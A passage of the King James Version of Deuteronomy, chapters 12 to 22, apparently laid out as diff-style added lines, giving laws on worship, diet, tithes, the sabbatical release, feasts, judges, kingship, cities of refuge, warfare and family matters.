and burn their groves +with fire; and ye shall hew down the graven images of their gods, and +destroy the names of them out of that place. + +12:4 Ye shall not do so unto the LORD your God. + +12:5 But unto the place which the LORD your God shall choose out of +all your tribes to put his name there, even unto his habitation shall +ye seek, and thither thou shalt come: 12:6 And thither ye shall bring +your burnt offerings, and your sacrifices, and your tithes, and heave +offerings of your hand, and your vows, and your freewill offerings, +and the firstlings of your herds and of your flocks: 12:7 And there ye +shall eat before the LORD your God, and ye shall rejoice in all that +ye put your hand unto, ye and your households, wherein the LORD thy +God hath blessed thee. + +12:8 Ye shall not do after all the things that we do here this day, +every man whatsoever is right in his own eyes. + +12:9 For ye are not as yet come to the rest and to the inheritance, +which the LORD your God giveth you. + +12:10 But when ye go over Jordan, and dwell in the land which the LORD +your God giveth you to inherit, and when he giveth you rest from all +your enemies round about, so that ye dwell in safety; 12:11 Then there +shall be a place which the LORD your God shall choose to cause his +name to dwell there; thither shall ye bring all that I command you; +your burnt offerings, and your sacrifices, your tithes, and the heave +offering of your hand, and all your choice vows which ye vow unto the +LORD: 12:12 And ye shall rejoice before the LORD your God, ye, and +your sons, and your daughters, and your menservants, and your +maidservants, and the Levite that is within your gates; forasmuch as +he hath no part nor inheritance with you. + +12:13 Take heed to thyself that thou offer not thy burnt offerings in +every place that thou seest: 12:14 But in the place which the LORD +shall choose in one of thy tribes, there thou shalt offer thy burnt +offerings, and there thou shalt do all that I command thee. + +12:15 Notwithstanding thou mayest kill and eat flesh in all thy gates, +whatsoever thy soul lusteth after, according to the blessing of the +LORD thy God which he hath given thee: the unclean and the clean may +eat thereof, as of the roebuck, and as of the hart. + +12:16 Only ye shall not eat the blood; ye shall pour it upon the earth +as water. + +12:17 Thou mayest not eat within thy gates the tithe of thy corn, or +of thy wine, or of thy oil, or the firstlings of thy herds or of thy +flock, nor any of thy vows which thou vowest, nor thy freewill +offerings, or heave offering of thine hand: 12:18 But thou must eat +them before the LORD thy God in the place which the LORD thy God shall +choose, thou, and thy son, and thy daughter, and thy manservant, and +thy maidservant, and the Levite that is within thy gates: and thou +shalt rejoice before the LORD thy God in all that thou puttest thine +hands unto. + +12:19 Take heed to thyself that thou forsake not the Levite as long as +thou livest upon the earth. + +12:20 When the LORD thy God shall enlarge thy border, as he hath +promised thee, and thou shalt say, I will eat flesh, because thy soul +longeth to eat flesh; thou mayest eat flesh, whatsoever thy soul +lusteth after. + +12:21 If the place which the LORD thy God hath chosen to put his name +there be too far from thee, then thou shalt kill of thy herd and of +thy flock, which the LORD hath given thee, as I have commanded thee, +and thou shalt eat in thy gates whatsoever thy soul lusteth after. + +12:22 Even as the roebuck and the hart is eaten, so thou shalt eat +them: the unclean and the clean shall eat of them alike. + +12:23 Only be sure that thou eat not the blood: for the blood is the +life; and thou mayest not eat the life with the flesh. + +12:24 Thou shalt not eat it; thou shalt pour it upon the earth as +water. + +12:25 Thou shalt not eat it; that it may go well with thee, and with +thy children after thee, when thou shalt do that which is right in the +sight of the LORD. + +12:26 Only thy holy things which thou hast, and thy vows, thou shalt +take, and go unto the place which the LORD shall choose: 12:27 And +thou shalt offer thy burnt offerings, the flesh and the blood, upon +the altar of the LORD thy God: and the blood of thy sacrifices shall +be poured out upon the altar of the LORD thy God, and thou shalt eat +the flesh. + +12:28 Observe and hear all these words which I command thee, that it +may go well with thee, and with thy children after thee for ever, when +thou doest that which is good and right in the sight of the LORD thy +God. + +12:29 When the LORD thy God shall cut off the nations from before +thee, whither thou goest to possess them, and thou succeedest them, +and dwellest in their land; 12:30 Take heed to thyself that thou be +not snared by following them, after that they be destroyed from before +thee; and that thou enquire not after their gods, saying, How did +these nations serve their gods? even so will I do likewise. + +12:31 Thou shalt not do so unto the LORD thy God: for every +abomination to the LORD, which he hateth, have they done unto their +gods; for even their sons and their daughters they have burnt in the +fire to their gods. + +12:32 What thing soever I command you, observe to do it: thou shalt +not add thereto, nor diminish from it. + +13:1 If there arise among you a prophet, or a dreamer of dreams, and +giveth thee a sign or a wonder, 13:2 And the sign or the wonder come +to pass, whereof he spake unto thee, saying, Let us go after other +gods, which thou hast not known, and let us serve them; 13:3 Thou +shalt not hearken unto the words of that prophet, or that dreamer of +dreams: for the LORD your God proveth you, to know whether ye love the +LORD your God with all your heart and with all your soul. + +13:4 Ye shall walk after the LORD your God, and fear him, and keep his +commandments, and obey his voice, and ye shall serve him, and cleave +unto him. + +13:5 And that prophet, or that dreamer of dreams, shall be put to +death; because he hath spoken to turn you away from the LORD your God, +which brought you out of the land of Egypt, and redeemed you out of +the house of bondage, to thrust thee out of the way which the LORD thy +God commanded thee to walk in. So shalt thou put the evil away from +the midst of thee. + +13:6 If thy brother, the son of thy mother, or thy son, or thy +daughter, or the wife of thy bosom, or thy friend, which is as thine +own soul, entice thee secretly, saying, Let us go and serve other +gods, which thou hast not known, thou, nor thy fathers; 13:7 Namely, +of the gods of the people which are round about you, nigh unto thee, +or far off from thee, from the one end of the earth even unto the +other end of the earth; 13:8 Thou shalt not consent unto him, nor +hearken unto him; neither shall thine eye pity him, neither shalt thou +spare, neither shalt thou conceal him: 13:9 But thou shalt surely kill +him; thine hand shall be first upon him to put him to death, and +afterwards the hand of all the people. + +13:10 And thou shalt stone him with stones, that he die; because he +hath sought to thrust thee away from the LORD thy God, which brought +thee out of the land of Egypt, from the house of bondage. + +13:11 And all Israel shall hear, and fear, and shall do no more any +such wickedness as this is among you. + +13:12 If thou shalt hear say in one of thy cities, which the LORD thy +God hath given thee to dwell there, saying, 13:13 Certain men, the +children of Belial, are gone out from among you, and have withdrawn +the inhabitants of their city, saying, Let us go and serve other gods, +which ye have not known; 13:14 Then shalt thou enquire, and make +search, and ask diligently; and, behold, if it be truth, and the thing +certain, that such abomination is wrought among you; 13:15 Thou shalt +surely smite the inhabitants of that city with the edge of the sword, +destroying it utterly, and all that is therein, and the cattle +thereof, with the edge of the sword. + +13:16 And thou shalt gather all the spoil of it into the midst of the +street thereof, and shalt burn with fire the city, and all the spoil +thereof every whit, for the LORD thy God: and it shall be an heap for +ever; it shall not be built again. + +13:17 And there shall cleave nought of the cursed thing to thine hand: +that the LORD may turn from the fierceness of his anger, and shew thee +mercy, and have compassion upon thee, and multiply thee, as he hath +sworn unto thy fathers; 13:18 When thou shalt hearken to the voice of +the LORD thy God, to keep all his commandments which I command thee +this day, to do that which is right in the eyes of the LORD thy God. + +14:1 Ye are the children of the LORD your God: ye shall not cut +yourselves, nor make any baldness between your eyes for the dead. + +14:2 For thou art an holy people unto the LORD thy God, and the LORD +hath chosen thee to be a peculiar people unto himself, above all the +nations that are upon the earth. + +14:3 Thou shalt not eat any abominable thing. + +14:4 These are the beasts which ye shall eat: the ox, the sheep, and +the goat, 14:5 The hart, and the roebuck, and the fallow deer, and the +wild goat, and the pygarg, and the wild ox, and the chamois. + +14:6 And every beast that parteth the hoof, and cleaveth the cleft +into two claws, and cheweth the cud among the beasts, that ye shall +eat. + +14:7 Nevertheless these ye shall not eat of them that chew the cud, or +of them that divide the cloven hoof; as the camel, and the hare, and +the coney: for they chew the cud, but divide not the hoof; therefore +they are unclean unto you. + +14:8 And the swine, because it divideth the hoof, yet cheweth not the +cud, it is unclean unto you: ye shall not eat of their flesh, nor +touch their dead carcase. + +14:9 These ye shall eat of all that are in the waters: all that have +fins and scales shall ye eat: 14:10 And whatsoever hath not fins and +scales ye may not eat; it is unclean unto you. + +14:11 Of all clean birds ye shall eat. + +14:12 But these are they of which ye shall not eat: the eagle, and the +ossifrage, and the ospray, 14:13 And the glede, and the kite, and the +vulture after his kind, 14:14 And every raven after his kind, 14:15 +And the owl, and the night hawk, and the cuckow, and the hawk after +his kind, 14:16 The little owl, and the great owl, and the swan, 14:17 +And the pelican, and the gier eagle, and the cormorant, 14:18 And the +stork, and the heron after her kind, and the lapwing, and the bat. + +14:19 And every creeping thing that flieth is unclean unto you: they +shall not be eaten. + +14:20 But of all clean fowls ye may eat. + +14:21 Ye shall not eat of anything that dieth of itself: thou shalt +give it unto the stranger that is in thy gates, that he may eat it; or +thou mayest sell it unto an alien: for thou art an holy people unto +the LORD thy God. + +Thou shalt not seethe a kid in his mother's milk. + +14:22 Thou shalt truly tithe all the increase of thy seed, that the +field bringeth forth year by year. + +14:23 And thou shalt eat before the LORD thy God, in the place which +he shall choose to place his name there, the tithe of thy corn, of thy +wine, and of thine oil, and the firstlings of thy herds and of thy +flocks; that thou mayest learn to fear the LORD thy God always. + +14:24 And if the way be too long for thee, so that thou art not able +to carry it; or if the place be too far from thee, which the LORD thy +God shall choose to set his name there, when the LORD thy God hath +blessed thee: 14:25 Then shalt thou turn it into money, and bind up +the money in thine hand, and shalt go unto the place which the LORD +thy God shall choose: 14:26 And thou shalt bestow that money for +whatsoever thy soul lusteth after, for oxen, or for sheep, or for +wine, or for strong drink, or for whatsoever thy soul desireth: and +thou shalt eat there before the LORD thy God, and thou shalt rejoice, +thou, and thine household, 14:27 And the Levite that is within thy +gates; thou shalt not forsake him; for he hath no part nor inheritance +with thee. + +14:28 At the end of three years thou shalt bring forth all the tithe +of thine increase the same year, and shalt lay it up within thy gates: +14:29 And the Levite, (because he hath no part nor inheritance with +thee,) and the stranger, and the fatherless, and the widow, which are +within thy gates, shall come, and shall eat and be satisfied; that the +LORD thy God may bless thee in all the work of thine hand which thou +doest. + +15:1 At the end of every seven years thou shalt make a release. + +15:2 And this is the manner of the release: Every creditor that +lendeth ought unto his neighbour shall release it; he shall not exact +it of his neighbour, or of his brother; because it is called the +LORD's release. + +15:3 Of a foreigner thou mayest exact it again: but that which is +thine with thy brother thine hand shall release; 15:4 Save when there +shall be no poor among you; for the LORD shall greatly bless thee in +the land which the LORD thy God giveth thee for an inheritance to +possess it: 15:5 Only if thou carefully hearken unto the voice of the +LORD thy God, to observe to do all these commandments which I command +thee this day. + +15:6 For the LORD thy God blesseth thee, as he promised thee: and thou +shalt lend unto many nations, but thou shalt not borrow; and thou +shalt reign over many nations, but they shall not reign over thee. + +15:7 If there be among you a poor man of one of thy brethren within +any of thy gates in thy land which the LORD thy God giveth thee, thou +shalt not harden thine heart, nor shut thine hand from thy poor +brother: 15:8 But thou shalt open thine hand wide unto him, and shalt +surely lend him sufficient for his need, in that which he wanteth. + +15:9 Beware that there be not a thought in thy wicked heart, saying, +The seventh year, the year of release, is at hand; and thine eye be +evil against thy poor brother, and thou givest him nought; and he cry +unto the LORD against thee, and it be sin unto thee. + +15:10 Thou shalt surely give him, and thine heart shall not be grieved +when thou givest unto him: because that for this thing the LORD thy +God shall bless thee in all thy works, and in all that thou puttest +thine hand unto. + +15:11 For the poor shall never cease out of the land: therefore I +command thee, saying, Thou shalt open thine hand wide unto thy +brother, to thy poor, and to thy needy, in thy land. + +15:12 And if thy brother, an Hebrew man, or an Hebrew woman, be sold +unto thee, and serve thee six years; then in the seventh year thou +shalt let him go free from thee. + +15:13 And when thou sendest him out free from thee, thou shalt not let +him go away empty: 15:14 Thou shalt furnish him liberally out of thy +flock, and out of thy floor, and out of thy winepress: of that +wherewith the LORD thy God hath blessed thee thou shalt give unto him. + +15:15 And thou shalt remember that thou wast a bondman in the land of +Egypt, and the LORD thy God redeemed thee: therefore I command thee +this thing to day. + +15:16 And it shall be, if he say unto thee, I will not go away from +thee; because he loveth thee and thine house, because he is well with +thee; 15:17 Then thou shalt take an aul, and thrust it through his ear +unto the door, and he shall be thy servant for ever. And also unto thy +maidservant thou shalt do likewise. + +15:18 It shall not seem hard unto thee, when thou sendest him away +free from thee; for he hath been worth a double hired servant to thee, +in serving thee six years: and the LORD thy God shall bless thee in +all that thou doest. + +15:19 All the firstling males that come of thy herd and of thy flock +thou shalt sanctify unto the LORD thy God: thou shalt do no work with +the firstling of thy bullock, nor shear the firstling of thy sheep. + +15:20 Thou shalt eat it before the LORD thy God year by year in the +place which the LORD shall choose, thou and thy household. + +15:21 And if there be any blemish therein, as if it be lame, or blind, +or have any ill blemish, thou shalt not sacrifice it unto the LORD thy +God. + +15:22 Thou shalt eat it within thy gates: the unclean and the clean +person shall eat it alike, as the roebuck, and as the hart. + +15:23 Only thou shalt not eat the blood thereof; thou shalt pour it +upon the ground as water. + +16:1 Observe the month of Abib, and keep the passover unto the LORD +thy God: for in the month of Abib the LORD thy God brought thee forth +out of Egypt by night. + +16:2 Thou shalt therefore sacrifice the passover unto the LORD thy +God, of the flock and the herd, in the place which the LORD shall +choose to place his name there. + +16:3 Thou shalt eat no leavened bread with it; seven days shalt thou +eat unleavened bread therewith, even the bread of affliction; for thou +camest forth out of the land of Egypt in haste: that thou mayest +remember the day when thou camest forth out of the land of Egypt all +the days of thy life. + +16:4 And there shall be no leavened bread seen with thee in all thy +coast seven days; neither shall there any thing of the flesh, which +thou sacrificedst the first day at even, remain all night until the +morning. + +16:5 Thou mayest not sacrifice the passover within any of thy gates, +which the LORD thy God giveth thee: 16:6 But at the place which the +LORD thy God shall choose to place his name in, there thou shalt +sacrifice the passover at even, at the going down of the sun, at the +season that thou camest forth out of Egypt. + +16:7 And thou shalt roast and eat it in the place which the LORD thy +God shall choose: and thou shalt turn in the morning, and go unto thy +tents. + +16:8 Six days thou shalt eat unleavened bread: and on the seventh day +shall be a solemn assembly to the LORD thy God: thou shalt do no work +therein. + +16:9 Seven weeks shalt thou number unto thee: begin to number the +seven weeks from such time as thou beginnest to put the sickle to the +corn. + +16:10 And thou shalt keep the feast of weeks unto the LORD thy God +with a tribute of a freewill offering of thine hand, which thou shalt +give unto the LORD thy God, according as the LORD thy God hath blessed +thee: 16:11 And thou shalt rejoice before the LORD thy God, thou, and +thy son, and thy daughter, and thy manservant, and thy maidservant, +and the Levite that is within thy gates, and the stranger, and the +fatherless, and the widow, that are among you, in the place which the +LORD thy God hath chosen to place his name there. + +16:12 And thou shalt remember that thou wast a bondman in Egypt: and +thou shalt observe and do these statutes. + +16:13 Thou shalt observe the feast of tabernacles seven days, after +that thou hast gathered in thy corn and thy wine: 16:14 And thou shalt +rejoice in thy feast, thou, and thy son, and thy daughter, and thy +manservant, and thy maidservant, and the Levite, the stranger, and the +fatherless, and the widow, that are within thy gates. + +16:15 Seven days shalt thou keep a solemn feast unto the LORD thy God +in the place which the LORD shall choose: because the LORD thy God +shall bless thee in all thine increase, and in all the works of thine +hands, therefore thou shalt surely rejoice. + +16:16 Three times in a year shall all thy males appear before the LORD +thy God in the place which he shall choose; in the feast of unleavened +bread, and in the feast of weeks, and in the feast of tabernacles: and +they shall not appear before the LORD empty: 16:17 Every man shall +give as he is able, according to the blessing of the LORD thy God +which he hath given thee. + +16:18 Judges and officers shalt thou make thee in all thy gates, which +the LORD thy God giveth thee, throughout thy tribes: and they shall +judge the people with just judgment. + +16:19 Thou shalt not wrest judgment; thou shalt not respect persons, +neither take a gift: for a gift doth blind the eyes of the wise, and +pervert the words of the righteous. + +16:20 That which is altogether just shalt thou follow, that thou +mayest live, and inherit the land which the LORD thy God giveth thee. + +16:21 Thou shalt not plant thee a grove of any trees near unto the +altar of the LORD thy God, which thou shalt make thee. + +16:22 Neither shalt thou set thee up any image; which the LORD thy God +hateth. + +17:1 Thou shalt not sacrifice unto the LORD thy God any bullock, or +sheep, wherein is blemish, or any evilfavouredness: for that is an +abomination unto the LORD thy God. + +17:2 If there be found among you, within any of thy gates which the +LORD thy God giveth thee, man or woman, that hath wrought wickedness +in the sight of the LORD thy God, in transgressing his covenant, 17:3 +And hath gone and served other gods, and worshipped them, either the +sun, or moon, or any of the host of heaven, which I have not +commanded; 17:4 And it be told thee, and thou hast heard of it, and +enquired diligently, and, behold, it be true, and the thing certain, +that such abomination is wrought in Israel: 17:5 Then shalt thou bring +forth that man or that woman, which have committed that wicked thing, +unto thy gates, even that man or that woman, and shalt stone them with +stones, till they die. + +17:6 At the mouth of two witnesses, or three witnesses, shall he that +is worthy of death be put to death; but at the mouth of one witness he +shall not be put to death. + +17:7 The hands of the witnesses shall be first upon him to put him to +death, and afterward the hands of all the people. So thou shalt put +the evil away from among you. + +17:8 If there arise a matter too hard for thee in judgment, between +blood and blood, between plea and plea, and between stroke and stroke, +being matters of controversy within thy gates: then shalt thou arise, +and get thee up into the place which the LORD thy God shall choose; +17:9 And thou shalt come unto the priests the Levites, and unto the +judge that shall be in those days, and enquire; and they shall shew +thee the sentence of judgment: 17:10 And thou shalt do according to +the sentence, which they of that place which the LORD shall choose +shall shew thee; and thou shalt observe to do according to all that +they inform thee: 17:11 According to the sentence of the law which +they shall teach thee, and according to the judgment which they shall +tell thee, thou shalt do: thou shalt not decline from the sentence +which they shall shew thee, to the right hand, nor to the left. + +17:12 And the man that will do presumptuously, and will not hearken +unto the priest that standeth to minister there before the LORD thy +God, or unto the judge, even that man shall die: and thou shalt put +away the evil from Israel. + +17:13 And all the people shall hear, and fear, and do no more +presumptuously. + +17:14 When thou art come unto the land which the LORD thy God giveth +thee, and shalt possess it, and shalt dwell therein, and shalt say, I +will set a king over me, like as all the nations that are about me; +17:15 Thou shalt in any wise set him king over thee, whom the LORD thy +God shall choose: one from among thy brethren shalt thou set king over +thee: thou mayest not set a stranger over thee, which is not thy +brother. + +17:16 But he shall not multiply horses to himself, nor cause the +people to return to Egypt, to the end that he should multiply horses: +forasmuch as the LORD hath said unto you, Ye shall henceforth return +no more that way. + +17:17 Neither shall he multiply wives to himself, that his heart turn +not away: neither shall he greatly multiply to himself silver and +gold. + +17:18 And it shall be, when he sitteth upon the throne of his kingdom, +that he shall write him a copy of this law in a book out of that which +is before the priests the Levites: 17:19 And it shall be with him, and +he shall read therein all the days of his life: that he may learn to +fear the LORD his God, to keep all the words of this law and these +statutes, to do them: 17:20 That his heart be not lifted up above his +brethren, and that he turn not aside from the commandment, to the +right hand, or to the left: to the end that he may prolong his days in +his kingdom, he, and his children, in the midst of Israel. + +18:1 The priests the Levites, and all the tribe of Levi, shall have no +part nor inheritance with Israel: they shall eat the offerings of the +LORD made by fire, and his inheritance. + +18:2 Therefore shall they have no inheritance among their brethren: +the LORD is their inheritance, as he hath said unto them. + +18:3 And this shall be the priest's due from the people, from them +that offer a sacrifice, whether it be ox or sheep; and they shall give +unto the priest the shoulder, and the two cheeks, and the maw. + +18:4 The firstfruit also of thy corn, of thy wine, and of thine oil, +and the first of the fleece of thy sheep, shalt thou give him. + +18:5 For the LORD thy God hath chosen him out of all thy tribes, to +stand to minister in the name of the LORD, him and his sons for ever. + +18:6 And if a Levite come from any of thy gates out of all Israel, +where he sojourned, and come with all the desire of his mind unto the +place which the LORD shall choose; 18:7 Then he shall minister in the +name of the LORD his God, as all his brethren the Levites do, which +stand there before the LORD. + +18:8 They shall have like portions to eat, beside that which cometh of +the sale of his patrimony. + +18:9 When thou art come into the land which the LORD thy God giveth +thee, thou shalt not learn to do after the abominations of those +nations. + +18:10 There shall not be found among you any one that maketh his son +or his daughter to pass through the fire, or that useth divination, or +an observer of times, or an enchanter, or a witch. + +18:11 Or a charmer, or a consulter with familiar spirits, or a wizard, +or a necromancer. + +18:12 For all that do these things are an abomination unto the LORD: +and because of these abominations the LORD thy God doth drive them out +from before thee. + +18:13 Thou shalt be perfect with the LORD thy God. + +18:14 For these nations, which thou shalt possess, hearkened unto +observers of times, and unto diviners: but as for thee, the LORD thy +God hath not suffered thee so to do. + +18:15 The LORD thy God will raise up unto thee a Prophet from the +midst of thee, of thy brethren, like unto me; unto him ye shall +hearken; 18:16 According to all that thou desiredst of the LORD thy +God in Horeb in the day of the assembly, saying, Let me not hear again +the voice of the LORD my God, neither let me see this great fire any +more, that I die not. + +18:17 And the LORD said unto me, They have well spoken that which they +have spoken. + +18:18 I will raise them up a Prophet from among their brethren, like +unto thee, and will put my words in his mouth; and he shall speak unto +them all that I shall command him. + +18:19 And it shall come to pass, that whosoever will not hearken unto +my words which he shall speak in my name, I will require it of him. + +18:20 But the prophet, which shall presume to speak a word in my name, +which I have not commanded him to speak, or that shall speak in the +name of other gods, even that prophet shall die. + +18:21 And if thou say in thine heart, How shall we know the word which +the LORD hath not spoken? 18:22 When a prophet speaketh in the name +of the LORD, if the thing follow not, nor come to pass, that is the +thing which the LORD hath not spoken, but the prophet hath spoken it +presumptuously: thou shalt not be afraid of him. + +19:1 When the LORD thy God hath cut off the nations, whose land the +LORD thy God giveth thee, and thou succeedest them, and dwellest in +their cities, and in their houses; 19:2 Thou shalt separate three +cities for thee in the midst of thy land, which the LORD thy God +giveth thee to possess it. + +19:3 Thou shalt prepare thee a way, and divide the coasts of thy land, +which the LORD thy God giveth thee to inherit, into three parts, that +every slayer may flee thither. + +19:4 And this is the case of the slayer, which shall flee thither, +that he may live: Whoso killeth his neighbour ignorantly, whom he +hated not in time past; 19:5 As when a man goeth into the wood with +his neighbour to hew wood, and his hand fetcheth a stroke with the axe +to cut down the tree, and the head slippeth from the helve, and +lighteth upon his neighbour, that he die; he shall flee unto one of +those cities, and live: 19:6 Lest the avenger of the blood pursue the +slayer, while his heart is hot, and overtake him, because the way is +long, and slay him; whereas he was not worthy of death, inasmuch as he +hated him not in time past. + +19:7 Wherefore I command thee, saying, Thou shalt separate three +cities for thee. + +19:8 And if the LORD thy God enlarge thy coast, as he hath sworn unto +thy fathers, and give thee all the land which he promised to give unto +thy fathers; 19:9 If thou shalt keep all these commandments to do +them, which I command thee this day, to love the LORD thy God, and to +walk ever in his ways; then shalt thou add three cities more for thee, +beside these three: 19:10 That innocent blood be not shed in thy land, +which the LORD thy God giveth thee for an inheritance, and so blood be +upon thee. + +19:11 But if any man hate his neighbour, and lie in wait for him, and +rise up against him, and smite him mortally that he die, and fleeth +into one of these cities: 19:12 Then the elders of his city shall send +and fetch him thence, and deliver him into the hand of the avenger of +blood, that he may die. + +19:13 Thine eye shall not pity him, but thou shalt put away the guilt +of innocent blood from Israel, that it may go well with thee. + +19:14 Thou shalt not remove thy neighbour's landmark, which they of +old time have set in thine inheritance, which thou shalt inherit in +the land that the LORD thy God giveth thee to possess it. + +19:15 One witness shall not rise up against a man for any iniquity, or +for any sin, in any sin that he sinneth: at the mouth of two +witnesses, or at the mouth of three witnesses, shall the matter be +established. + +19:16 If a false witness rise up against any man to testify against +him that which is wrong; 19:17 Then both the men, between whom the +controversy is, shall stand before the LORD, before the priests and +the judges, which shall be in those days; 19:18 And the judges shall +make diligent inquisition: and, behold, if the witness be a false +witness, and hath testified falsely against his brother; 19:19 Then +shall ye do unto him, as he had thought to have done unto his brother: +so shalt thou put the evil away from among you. + +19:20 And those which remain shall hear, and fear, and shall +henceforth commit no more any such evil among you. + +19:21 And thine eye shall not pity; but life shall go for life, eye +for eye, tooth for tooth, hand for hand, foot for foot. + +20:1 When thou goest out to battle against thine enemies, and seest +horses, and chariots, and a people more than thou, be not afraid of +them: for the LORD thy God is with thee, which brought thee up out of +the land of Egypt. + +20:2 And it shall be, when ye are come nigh unto the battle, that the +priest shall approach and speak unto the people, 20:3 And shall say +unto them, Hear, O Israel, ye approach this day unto battle against +your enemies: let not your hearts faint, fear not, and do not tremble, +neither be ye terrified because of them; 20:4 For the LORD your God is +he that goeth with you, to fight for you against your enemies, to save +you. + +20:5 And the officers shall speak unto the people, saying, What man is +there that hath built a new house, and hath not dedicated it? let him +go and return to his house, lest he die in the battle, and another man +dedicate it. + +20:6 And what man is he that hath planted a vineyard, and hath not yet +eaten of it? let him also go and return unto his house, lest he die in +the battle, and another man eat of it. + +20:7 And what man is there that hath betrothed a wife, and hath not +taken her? let him go and return unto his house, lest he die in the +battle, and another man take her. + +20:8 And the officers shall speak further unto the people, and they +shall say, What man is there that is fearful and fainthearted? let him +go and return unto his house, lest his brethren's heart faint as well +as his heart. + +20:9 And it shall be, when the officers have made an end of speaking +unto the people that they shall make captains of the armies to lead +the people. + +20:10 When thou comest nigh unto a city to fight against it, then +proclaim peace unto it. + +20:11 And it shall be, if it make thee answer of peace, and open unto +thee, then it shall be, that all the people that is found therein +shall be tributaries unto thee, and they shall serve thee. + +20:12 And if it will make no peace with thee, but will make war +against thee, then thou shalt besiege it: 20:13 And when the LORD thy +God hath delivered it into thine hands, thou shalt smite every male +thereof with the edge of the sword: 20:14 But the women, and the +little ones, and the cattle, and all that is in the city, even all the +spoil thereof, shalt thou take unto thyself; and thou shalt eat the +spoil of thine enemies, which the LORD thy God hath given thee. + +20:15 Thus shalt thou do unto all the cities which are very far off +from thee, which are not of the cities of these nations. + +20:16 But of the cities of these people, which the LORD thy God doth +give thee for an inheritance, thou shalt save alive nothing that +breatheth: 20:17 But thou shalt utterly destroy them; namely, the +Hittites, and the Amorites, the Canaanites, and the Perizzites, the +Hivites, and the Jebusites; as the LORD thy God hath commanded thee: +20:18 That they teach you not to do after all their abominations, +which they have done unto their gods; so should ye sin against the +LORD your God. + +20:19 When thou shalt besiege a city a long time, in making war +against it to take it, thou shalt not destroy the trees thereof by +forcing an axe against them: for thou mayest eat of them, and thou +shalt not cut them down (for the tree of the field is man's life) to +employ them in the siege: 20:20 Only the trees which thou knowest that +they be not trees for meat, thou shalt destroy and cut them down; and +thou shalt build bulwarks against the city that maketh war with thee, +until it be subdued. + +21:1 If one be found slain in the land which the LORD thy God giveth +thee to possess it, lying in the field, and it be not known who hath +slain him: 21:2 Then thy elders and thy judges shall come forth, and +they shall measure unto the cities which are round about him that is +slain: 21:3 And it shall be, that the city which is next unto the +slain man, even the elders of that city shall take an heifer, which +hath not been wrought with, and which hath not drawn in the yoke; 21:4 +And the elders of that city shall bring down the heifer unto a rough +valley, which is neither eared nor sown, and shall strike off the +heifer's neck there in the valley: 21:5 And the priests the sons of +Levi shall come near; for them the LORD thy God hath chosen to +minister unto him, and to bless in the name of the LORD; and by their +word shall every controversy and every stroke be tried: 21:6 And all +the elders of that city, that are next unto the slain man, shall wash +their hands over the heifer that is beheaded in the valley: 21:7 And +they shall answer and say, Our hands have not shed this blood, neither +have our eyes seen it. + +21:8 Be merciful, O LORD, unto thy people Israel, whom thou hast +redeemed, and lay not innocent blood unto thy people of Israel's +charge. And the blood shall be forgiven them. + +21:9 So shalt thou put away the guilt of innocent blood from among +you, when thou shalt do that which is right in the sight of the LORD. + +21:10 When thou goest forth to war against thine enemies, and the LORD +thy God hath delivered them into thine hands, and thou hast taken them +captive, 21:11 And seest among the captives a beautiful woman, and +hast a desire unto her, that thou wouldest have her to thy wife; 21:12 +Then thou shalt bring her home to thine house, and she shall shave her +head, and pare her nails; 21:13 And she shall put the raiment of her +captivity from off her, and shall remain in thine house, and bewail +her father and her mother a full month: and after that thou shalt go +in unto her, and be her husband, and she shall be thy wife. + +21:14 And it shall be, if thou have no delight in her, then thou shalt +let her go whither she will; but thou shalt not sell her at all for +money, thou shalt not make merchandise of her, because thou hast +humbled her. + +21:15 If a man have two wives, one beloved, and another hated, and +they have born him children, both the beloved and the hated; and if +the firstborn son be hers that was hated: 21:16 Then it shall be, when +he maketh his sons to inherit that which he hath, that he may not make +the son of the beloved firstborn before the son of the hated, which is +indeed the firstborn: 21:17 But he shall acknowledge the son of the +hated for the firstborn, by giving him a double portion of all that he +hath: for he is the beginning of his strength; the right of the +firstborn is his. + +21:18 If a man have a stubborn and rebellious son, which will not obey +the voice of his father, or the voice of his mother, and that, when +they have chastened him, will not hearken unto them: 21:19 Then shall +his father and his mother lay hold on him, and bring him out unto the +elders of his city, and unto the gate of his place; 21:20 And they +shall say unto the elders of his city, This our son is stubborn and +rebellious, he will not obey our voice; he is a glutton, and a +drunkard. + +21:21 And all the men of his city shall stone him with stones, that he +die: so shalt thou put evil away from among you; and all Israel shall +hear, and fear. + +21:22 And if a man have committed a sin worthy of death, and he be to +be put to death, and thou hang him on a tree: 21:23 His body shall not +remain all night upon the tree, but thou shalt in any wise bury him +that day; (for he that is hanged is accursed of God;) that thy land be +not defiled, which the LORD thy God giveth thee for an inheritance. + +22:1 Thou shalt not see thy brother's ox or his sheep go astray, and +hide thyself from them: thou shalt in any case bring them again unto +thy brother. + +22:2 And if thy brother be not nigh unto thee, or if thou know him +not, then thou shalt bring it unto thine own house, and it shall be +with thee until thy brother seek after it, and thou shalt restore it +to him again. + +22:3 In like manner shalt thou do with his ass; and so shalt thou do +with his raiment; and with all lost thing of thy brother's, which he +hath lost, and thou hast found, shalt thou do likewise: thou mayest +not hide thyself. + +22:4 Thou shalt not see thy brother's ass or his ox fall down by the +way, and hide thyself from them: thou shalt surely help him to lift +them up again. + +22:5 The woman shall not wear that which pertaineth unto a man, +neither shall a man put on a woman's garment: for all that do so are +abomination unto the LORD thy God. + +22:6 If a bird's nest chance to be before thee in the way in any tree, +or on the ground, whether they be young ones, or eggs, and the dam +sitting upon the young, or upon the eggs, thou shalt not take the dam +with the young: 22:7 But thou shalt in any wise let the dam go, and +take the young to thee; that it may be well with thee, and that thou +mayest prolong thy days. + +22:8 When thou buildest a new house, then thou shalt make a battlement +for thy roof, that thou bring not blood upon thine house, if any man +fall from thence. + +22:9 Thou shalt not sow thy vineyard with divers seeds: lest the fruit +of thy seed which thou hast sown, and the fruit of thy vineyard, be +defiled. + +22:10 Thou shalt not plow with an ox and an ass together. + +22:11 Thou shalt not wear a garment of divers sorts, as of woollen and +linen together. + +22:12 Thou shalt make thee fringes upon the four quarters of thy +vesture, wherewith thou coverest thyself. + +22:13 If any man take a wife, and go in unto her, and hate her, 22:14 +And give occasions of speech against her, and bring up an evil name +upon her, and say, I took this woman, and when I came to her, I found +her not a maid: 22:15 Then shall the father of the damsel, and her +mother, take and bring forth the tokens of the damsel's virginity unto +the elders of the city in the gate: 22:16 And the damsel's father +shall say unto the elders, I gave my daughter unto this man to wife, +and he hateth her; 22:17 And, lo, he hath given occasions of speech +against her, saying, I found not thy daughter a maid; and yet these +are the tokens of my daughter's virginity. And they shall spread the +cloth before the elders of the city. + +22:18 And the elders of that city shall take that man and chastise +him; 22:19 And they shall amerce him in an hundred shekels of silver, +and give them unto the father of the damsel, because he 